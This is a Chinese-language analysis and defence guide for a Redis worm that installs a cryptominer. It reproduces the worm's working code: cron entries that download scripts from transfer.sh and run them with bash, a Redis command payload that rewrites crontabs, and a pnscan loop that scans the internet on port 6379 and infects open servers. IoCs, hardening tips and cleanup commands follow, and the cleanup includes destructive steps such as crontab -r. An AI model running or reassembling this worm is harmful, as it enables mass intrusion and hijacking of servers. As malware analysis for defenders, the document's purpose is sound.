Yet Another Redis Miner
字数 1404 2025-08-29 08:32:09

Redis蠕虫攻击分析与防御指南

0x00 攻击概述

这是一个通过Redis未授权访问漏洞传播的蠕虫病毒,主要特征如下:

  1. 攻击目标:暴露在公网的Redis服务(默认端口6379)
  2. 传播方式:利用Redis未授权访问漏洞进行横向传播
  3. 攻击载荷:下载并执行挖矿程序,同时传播自身
  4. 隐蔽性:使用transfer.sh等临时文件分享服务来托管恶意代码,并通过不断更新URL来规避检测

0x01 攻击流程分析

初始感染阶段

攻击者通过Redis的set命令植入恶意计划任务:

set "Backup2" "\t\n*/5 * * * * wget -O .cmd https://transfer.sh/TSAm0/tmp.aLCyXcGXsL && bash .cmd\n\t"

这个命令会在目标系统的crontab中设置一个每5分钟执行一次的恶意任务,从transfer.sh下载并执行恶意脚本。

恶意脚本执行流程

  1. 下载端口扫描工具

    if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ) ; then
      curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
      sleep 1
      [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
    fi
    

    检查系统是否已安装pnscan端口扫描器,如果没有则从GitHub下载并编译安装。

  2. 下载并执行挖矿程序

    tname=$(mktemp)
    OMURL=https://transfer.sh/REIoK/tmp.pAuTRGMlGy
    curl -s $OMURL > $tname || wget -q -O $tname $OMURL
    

    从transfer.sh下载挖矿程序到临时文件。

  3. 上传挖矿程序获取新URL

    NMURL=$(curl -s --upload-file $tname https://transfer.sh)
    mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg
    [ -z "$NMURL" ] && NMURL=$OMURL
    

    将挖矿程序上传到transfer.sh获取新的下载URL,然后执行挖矿程序。

  4. 生成新的恶意脚本

    ncmd=$(basename $(mktemp))
    sed 's|'"$OMURL"'|'"$NMURL"'|g' < .cmd > $ncmd
    NSURL=$(curl -s --upload-file $ncmd https://transfer.sh)
    

    替换脚本中的挖矿程序URL为新的URL,然后上传新脚本获取新的下载URL。

  5. 构造Redis攻击载荷

    echo 'flushall' > .dat
    echo 'config set dir /var/spool/cron' >> .dat
    echo 'config set dbfilename root' >> .dat
    echo 'set Backup1 "\t\n*/2 * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
    echo 'set Backup2 "\t\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .dat
    echo 'set Backup3 "\t\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
    echo 'save' >> .dat
    echo 'config set dir /var/spool/cron/crontabs' >> .dat
    echo 'save' >> .dat
    echo 'exit' >> .dat
    

    构造Redis命令序列,用于感染其他Redis服务器。

传播阶段

  1. 使用pnscan扫描目标网络
    pnx=pnscan
    [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
    [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
    
    for x in $(seq 1 224 | sort -R); do
      for y in $(seq 0 255 | sort -R); do
        $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
        awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l
        while read -r h p; do
          cat .dat | redis-cli -h $h -p $p --raw &
        done < .r.$x.$y.l
      done
    done
    
    随机扫描1-224.x.0.0/16网段的6379端口,发现开放的Redis服务后发送攻击载荷。

0x02 攻击特征(IoC)

  1. 文件特征

    • 蠕虫脚本:.cmd
    • 挖矿程序:.gpg
    • 挖矿程序MD5:2918ee2b69bc4e6b581c7b25f08434fe
  2. 网络特征

    • 初始下载URL:https://transfer.sh/TSAm0/tmp.aLCyXcGXsL
    • 端口扫描器下载:https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
    • 连接Redis默认端口6379
  3. 进程特征

    • 异常的计划任务(cron)条目
    • 异常的pnscanredis-cli进程

0x03 防御措施

预防措施

  1. Redis安全配置

    • 设置Redis密码认证(requirepass)
    • 修改默认端口(6379)
    • 禁用危险命令:rename-command FLUSHALL ""
    • 绑定指定IP:bind 127.0.0.1(仅本地访问)
    • 以非root用户运行Redis
  2. 系统加固

    • 定期更新系统和Redis到最新版本
    • 配置防火墙规则,限制Redis端口的访问
    • 禁用不必要的计划任务
    • 监控/var/spool/cron/目录的异常修改

检测方法

  1. 检查异常文件

    find / -name ".cmd" -o -name ".gpg" -o -name ".x112"
    
  2. 检查异常进程

    ps aux | grep -E "pnscan|redis-cli|\.gpg"
    
  3. 检查异常计划任务

    crontab -l
    ls -la /var/spool/cron/
    
  4. 检查Redis日志

    grep -E "config set dir|config set dbfilename|flushall" /var/log/redis/redis.log
    

清除方法

  1. 删除恶意文件

    rm -f /usr/local/bin/pnscan /usr/bin/pnscan
    rm -f /.cmd /.gpg /.x112
    
  2. 清理恶意计划任务

    crontab -r
    rm -f /var/spool/cron/root /var/spool/cron/crontabs/root
    
  3. 重启Redis服务

    systemctl restart redis
    
  4. 检查并清理持久化文件

    rm -f /var/lib/redis/dump.rdb
    

0x04 总结

该Redis蠕虫利用未授权访问漏洞进行传播,具有以下特点:

  1. 使用transfer.sh等临时文件托管服务来托管恶意代码,增加检测难度
  2. 通过不断更新URL来规避基于固定IoC的检测
  3. 使用pnscan进行高效的端口扫描和传播
  4. 通过修改计划任务实现持久化

防御此类攻击的关键在于:

  • 加强Redis的安全配置
  • 限制Redis端口的网络访问
  • 实施严格的权限控制
  • 建立有效的监控机制
Redis蠕虫攻击分析与防御指南 0x00 攻击概述 这是一个通过Redis未授权访问漏洞传播的蠕虫病毒,主要特征如下: 攻击目标:暴露在公网的Redis服务(默认端口6379) 传播方式:利用Redis未授权访问漏洞进行横向传播 攻击载荷:下载并执行挖矿程序,同时传播自身 隐蔽性:使用transfer.sh等临时文件分享服务来托管恶意代码,并通过不断更新URL来规避检测 0x01 攻击流程分析 初始感染阶段 攻击者通过Redis的 set 命令植入恶意计划任务: 这个命令会在目标系统的crontab中设置一个每5分钟执行一次的恶意任务,从transfer.sh下载并执行恶意脚本。 恶意脚本执行流程 下载端口扫描工具 : 检查系统是否已安装pnscan端口扫描器,如果没有则从GitHub下载并编译安装。 下载并执行挖矿程序 : 从transfer.sh下载挖矿程序到临时文件。 上传挖矿程序获取新URL : 将挖矿程序上传到transfer.sh获取新的下载URL,然后执行挖矿程序。 生成新的恶意脚本 : 替换脚本中的挖矿程序URL为新的URL,然后上传新脚本获取新的下载URL。 构造Redis攻击载荷 : 构造Redis命令序列,用于感染其他Redis服务器。 传播阶段 使用pnscan扫描目标网络 : 随机扫描1-224.x.0.0/16网段的6379端口,发现开放的Redis服务后发送攻击载荷。 0x02 攻击特征(IoC) 文件特征 : 蠕虫脚本: .cmd 挖矿程序: .gpg 挖矿程序MD5: 2918ee2b69bc4e6b581c7b25f08434fe 网络特征 : 初始下载URL: https://transfer.sh/TSAm0/tmp.aLCyXcGXsL 端口扫描器下载: https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 连接Redis默认端口6379 进程特征 : 异常的计划任务(cron)条目 异常的 pnscan 或 redis-cli 进程 0x03 防御措施 预防措施 Redis安全配置 : 设置Redis密码认证(requirepass) 修改默认端口(6379) 禁用危险命令: rename-command FLUSHALL "" 绑定指定IP: bind 127.0.0.1 (仅本地访问) 以非root用户运行Redis 系统加固 : 定期更新系统和Redis到最新版本 配置防火墙规则,限制Redis端口的访问 禁用不必要的计划任务 监控/var/spool/cron/目录的异常修改 检测方法 检查异常文件 : 检查异常进程 : 检查异常计划任务 : 检查Redis日志 : 清除方法 删除恶意文件 : 清理恶意计划任务 : 重启Redis服务 : 检查并清理持久化文件 : 0x04 总结 该Redis蠕虫利用未授权访问漏洞进行传播,具有以下特点: 使用transfer.sh等临时文件托管服务来托管恶意代码,增加检测难度 通过不断更新URL来规避基于固定IoC的检测 使用pnscan进行高效的端口扫描和传播 通过修改计划任务实现持久化 防御此类攻击的关键在于: 加强Redis的安全配置 限制Redis端口的网络访问 实施严格的权限控制 建立有效的监控机制